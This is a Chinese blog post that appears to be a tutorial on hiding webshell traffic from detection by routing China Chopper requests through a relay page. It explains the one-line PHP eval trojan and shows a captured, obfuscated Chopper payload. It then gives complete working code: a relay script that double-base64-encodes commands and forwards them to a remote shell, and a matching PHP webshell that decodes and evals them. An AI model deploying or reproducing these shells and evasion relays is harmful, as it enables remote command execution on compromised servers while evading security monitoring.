首页 > 系统相关 >中转Webshell绕过流量检测防护

中转Webshell绕过流量检测防护

时间:2024-03-08 10:11:44浏览次数:28  
标签:Webshell shell 木马 中转 chr 菜刀 绕过 POST

0x01 原理

这里先给大家介绍一句话木马和菜刀的工作原理,了解的可以往下面翻

一句话木马

先说说一句话木马的原理

<?php eval($_POST['c']);?>

先说说eval()这个函数

简单点说,eval()这个函数会把参数当作代码来执行

什么叫做把参数当作代码来执行,简单举个例子

<?php  phpinfo();?>

phpinfo()函数都明白吧,不明白也没关系,它执行结果是这样的

<?php eval('phpinfo();');?>

当把phpinfo()函数作为字符串传递给eval()函数时,效果就相当于刚才的代码

关于eval()函数就介绍到此,如果还有不明白的自己翻翻资料,或者私信我

下面再说我们刚才写的那个一句话木马,现在理解起来就容易多了,它会把POST传递过来的参数c的内容作为PHP代码执行,具体执行的内容由POST参数决定,比如执行系统命令

POST
c=system('whoami');

这样只需要不断改变POST过来的数据,就可以实现任意功能

这就是一句话木马的原理

菜刀

理解了一句话木马的原理后,菜刀的原理就更简单了

菜刀其实就是根据一句话木马的原理,将常用的一些操作的代码封装好,再结合图像界面(GUI),实现当你双击文件夹时便可列出目录

为了方便理解这里用wireshark抓个数据包

POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D

感兴趣的可以将发送的数据代码自己分析分析,这里就不具体讲了

0x02 中转webshell

先扯点历史

接着刚才菜刀原理说,既然已知了菜刀是将封装好的参数根据用户操作发送给webshell,那么站在防护的角度来讲,我可以将主流的菜刀参数都设为黑名单,发现就拦截,甚至我可以对你发送的数据内容进行简单的自动审计,发现敏感的代码直接拦截掉

这个就是早期的一些防护软件的拦截手段

于是,就有了一帮逆向大牛对菜刀进行逆向,将封装好的参数进行混淆,或者对防护软件进行fuzz,然后找到不拦截的参数去替换,这样就能实现一个“过狗”的效果

但是更有一群人浑水摸鱼,在外发放了很多捆有后门的菜刀坐收渔翁之利,而且随着防护软件越来越完善,找到一些能够替换的函数代价太大,于是就有了中转webshell(主要还是因为不会逆向……因为懒……)

中转webshell的逻辑很简单,菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密(甚至可以用2048位的RSA,只要你愿意),然后再发送给shell,shell接收后先用同样的算法进行解密,然后对执行的结果进行加密,返回给中转shell,中转shell再去解密,然后返回给菜刀客户端

这样就能实现自定义加密算法对菜刀的数据进行加密来绕过一些防护设备,话不多说,上图

理解了原理就可以开始造轮子了

0x03 造轮子

中转shell
<?php
    set_time_limit(0);
    $url = 'http://192.168.157.142:81/shell.php';  //真实shell地址
    $opt_data = http_build_query($_POST);

    $content = postdata($url,encode($opt_data));

    $content = decode($content);

    echo $content;

    function encode($data){
        return base64_encode(base64_encode($data));
    }

    function decode($data){
        return base64_decode(base64_decode($data));
    }
    
    function postdata($url,$data){
        $curl = curl_init();  //初始化
        curl_setopt($curl,CURLOPT_URL,$url);  //设置url
        curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC);  //设置http验证方法
        curl_setopt($curl,CURLOPT_HEADER,0);  //设置头信息
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);  //设置curl_exec获取的信息的返回方式
        curl_setopt($curl,CURLOPT_POST,1);  //设置发送方式为post请求
        curl_setopt($curl,CURLOPT_POSTFIELDS,$data);  //设置post的数据
        
        $result = curl_exec($curl);
        if($result === false){
            echo 'Request False!';
            echo curl_errno($curl);
            exit();
        }
        curl_close($curl);
        return $result;
    }
?>
webshell
<?php
    function callback($buffer){
        return (encode($buffer));
    }

    ob_start("callback");

    parse_str(decode(file_get_contents('php://input')),$_POST);

    eval($_POST['c']);

    function encode($data){ //加密算法
        return base64_encode(base64_encode($data));
    }

    function decode($data){ //解密算法
        return base64_decode(base64_decode($data));
    }

    ob_end_flush();
?>

效果如下:

  1. 菜刀连接中转shell

  1. 中转shell修改真实shell的url

  1. 通过菜刀执行系统命令查看ip

可以看到我们打开的是192.168.157.128的会话,但实际操作的确是我们的目标靶机192.168.157.142

至此结束

标签:Webshell,shell,木马,中转,chr,菜刀,绕过,POST
From: https://www.cnblogs.com/WaxToday/p/18060387

相关文章

  • 编码绕过xss说明和htmlspecialchars函数
    html实体编码JS编码1.htmlspecialchars函数把一些预定义的字符转换为html实体预定义的字符&->&amp;"->"'->'<-><>->gt;<script>--><&ltscript&gt默认绕过绕过方式:payload:'onclick='alert(123)'或者&#......
  • WAF绕过
    Web架构层bypass:通过更改POST/GET/PUT请求方式Web服务器层bypass:iss+asp可通过unicode编码绕过关键字符:s%u0065lect->selectWeb应用程序层bypass:双层URL编码,更改请求方式传参或者burp抓包更改主体编码。?id=1'unionselect1,version()#。HPP是指HTTP参数污染此处关键还......
  • 菜刀、冰蝎、蚁剑、哥斯拉Webshell流量特征
    1.冰蝎流量特征:Accept有自己专属的流量特征,查看content-Length长度。对上传参数base64进行解码,再代码末端再次解码。可看上传流量具体操作。再response也可查看揭秘参数后的流量 2.哥斯拉流量特征:content-Length:数据包长度达万个Cookie流量包后面存在分号;  3.菜刀......
  • XSS后台代码绕过
    xss_01正则表达式替换绕过方式:大小写混合或纯大写绕过paylaod:<scripT>alert(AAA);</Script>或<SCRIPT>alert(123);<SCRIPT>字符最小化将获取的message数据中获取的大小写字符全部转换为小写绕过方式:通过双写绕过Payload:<sc<script>ript>alert</scrip<script>t>......
  • 绕过 UAC 相关的技术
    UAC(用户账户控制)是Windows操作系统中的一项安全功能,旨在帮助防止未经授权的更改系统设置和应用程序的行为。UAC通过提示用户确认或提升权限来减少恶意软件对系统的影响。然而,有人可能试图绕过UAC以获取更高的权限,这种行为是不推荐的,并且可能违反法律。以下是您提到的一些可能......
  • Nacos身份认证绕过漏洞解决
    一、备份1.1备份nacos停止nacos服务/web/nacos/bin/shutdown.shcd/webmvnacosnacosbak-202311281.2备份mysql数据mysqldump-uroot-p-A>/web/nacos-20231128.sql二、部署新版nacos2.1下载nacos安装包cd/webwgethttps://github.com/alibaba/nacos/releases/......
  • [陇剑杯 2021]webshell
    追踪流进行解题第一题:黑客登录系统使用的密码是Admin123!@#在第6个流的时候可以发现login的页面和有相关的信息,复制进行解码得到结果或者在搜索栏里用POST规则搜索,因为密码登录的规则一般是POST方式  第二题:黑客修改了一个日志文件,文件的绝对路径为/var/www/html/data......
  • 绕过disable_functions的限制
    https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functionshttps://wiki.luoyunhao.com/web/Bypassdisable_function绕过disable_functions的限制disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站......
  • 如何绕过Python readline的Tab-补全
    在Python中,readline模块提供了一个交互式的命令行输入接口,其中的Tab补全是指用户在输入时按下Tab键,系统会自动尝试完成当前输入的命令或路径。Tab补全的主要功能是帮助用户更快速、更准确地输入命令或路径,尤其是当有很多可能的选项时。下面我将用详细的步骤来说明Tab补全......
  • 命令执行绕过
    开放人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。绕过空格过滤1.${IFS}绕过$IFS是shell的特殊环境变量,是Linux下的内部域分分隔符。$IFS中存储的值可以是空格、制表符、换行符或者其他自定义符号......